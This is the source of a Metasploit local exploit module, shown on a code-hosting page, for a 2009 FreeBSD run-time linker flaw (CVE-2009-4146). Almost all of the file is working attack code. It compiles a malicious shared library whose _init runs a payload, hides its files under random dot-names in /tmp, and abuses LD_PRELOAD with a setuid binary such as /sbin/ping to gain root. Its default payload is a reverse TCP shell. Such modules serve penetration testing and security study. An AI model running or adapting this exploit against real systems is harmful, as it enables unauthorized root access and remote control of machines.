Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/local/rtld_execl_priv_esc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Post::Unix11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'FreeBSD rtld execl() Privilege Escalation',19'Description' => %q{20This module exploits a vulnerability in the FreeBSD21run-time link-editor (rtld).2223The rtld `unsetenv()` function fails to remove `LD_*`24environment variables if `__findenv()` fails.2526This can be abused to load arbitrary shared objects using27`LD_PRELOAD`, resulting in privileged code execution.2829This module has been tested successfully on:3031FreeBSD 7.2-RELEASE (amd64); and32FreeBSD 8.0-RELEASE (amd64).33},34'License' => MSF_LICENSE,35'Author' =>36[37'Kingcope', # Independent discovery, public disclosure, and exploit38'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)39'bcoles' # Metasploit (using Kingcope's exploit code [modified])40],41'DisclosureDate' => '2009-11-30',42'Platform' => ['bsd'], # FreeBSD43'Arch' =>44[45ARCH_X86,46ARCH_X64,47ARCH_ARMLE,48ARCH_AARCH64,49ARCH_PPC,50ARCH_MIPSLE,51ARCH_MIPSBE52],53'SessionTypes' => ['shell'],54'References' =>55[56['BID', '37154'],57['CVE', '2009-4146'],58['CVE', '2009-4147'],59['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],60['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],61['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],62['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],63['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],64['URL', 'https://securitytracker.com/id/1023250']65],66'Targets' => [['Automatic', {}]],67'DefaultOptions' =>68{69'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',70'PrependSetresuid' => true,71'PrependSetresgid' => true,72'PrependFork' => true,73'WfsDelay' => 1074},75'DefaultTarget' => 076)77)78register_options([79OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/sbin/ping'])80])81register_advanced_options([82OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])83])84end8586def base_dir87datastore['WritableDir'].to_s88end8990def suid_exe_path91datastore['SUID_EXECUTABLE']92end9394def upload(path, data)95print_status("Writing '#{path}' (#{data.size} bytes) ...")96rm_f(path)97write_file(path, data)98register_file_for_cleanup(path)99end100101def check102kernel_release = cmd_exec('uname -r').to_s103unless kernel_release =~ /^(7\.[012]|8\.0)/104return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")105end106107vprint_good("FreeBSD version #{kernel_release} appears vulnerable")108109unless command_exists?('cc')110return CheckCode::Safe('cc is not installed')111end112113vprint_good('cc is installed')114115unless setuid?(suid_exe_path)116return CheckCode::Detected("#{suid_exe_path} is not setuid")117end118119vprint_good("#{suid_exe_path} is setuid")120121CheckCode::Appears122end123124def exploit125if !datastore['ForceExploit'] && is_root?126fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')127end128129unless writable?(base_dir)130fail_with(Failure::BadConfig, "#{base_dir} is not writable")131end132133max_len = 1_000134if base_dir.length > max_len135fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")136end137138payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"139140executable_data = <<~LIB141#include <stdio.h>142#include <stdlib.h>143#include <unistd.h>144145void _init() {146extern char **environ;147environ=NULL;148system("#{payload_path} &");149}150LIB151152executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"153upload("#{executable_path}.c", executable_data)154output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")155register_file_for_cleanup("#{executable_path}.o")156157unless output.blank?158print_error(output)159fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")160end161162lib_name = ".#{rand_text_alphanumeric(5..10)}"163lib_path = "#{base_dir}/#{lib_name}"164output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")165register_file_for_cleanup("#{lib_path}.0")166167unless output.blank?168print_error(output)169fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")170end171172exploit_data = <<~EXPLOIT173#include <stdio.h>174#include <stdlib.h>175#include <string.h>176#include <unistd.h>177178int main() {179extern char **environ;180environ = (char**)calloc(8096, sizeof(char));181environ[0] = (char*)calloc(1024, sizeof(char));182environ[1] = (char*)calloc(1024, sizeof(char));183strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");184return execl("#{suid_exe_path}", "", (char *)0);185}186EXPLOIT187188exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"189upload("#{exploit_path}.c", exploit_data)190output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")191register_file_for_cleanup(exploit_path)192193unless output.blank?194print_error(output)195fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")196end197198upload(payload_path, generate_payload_exe)199chmod(payload_path)200201print_status('Launching exploit...')202output = cmd_exec(exploit_path)203output.each_line { |line| vprint_status line.chomp }204end205end206207208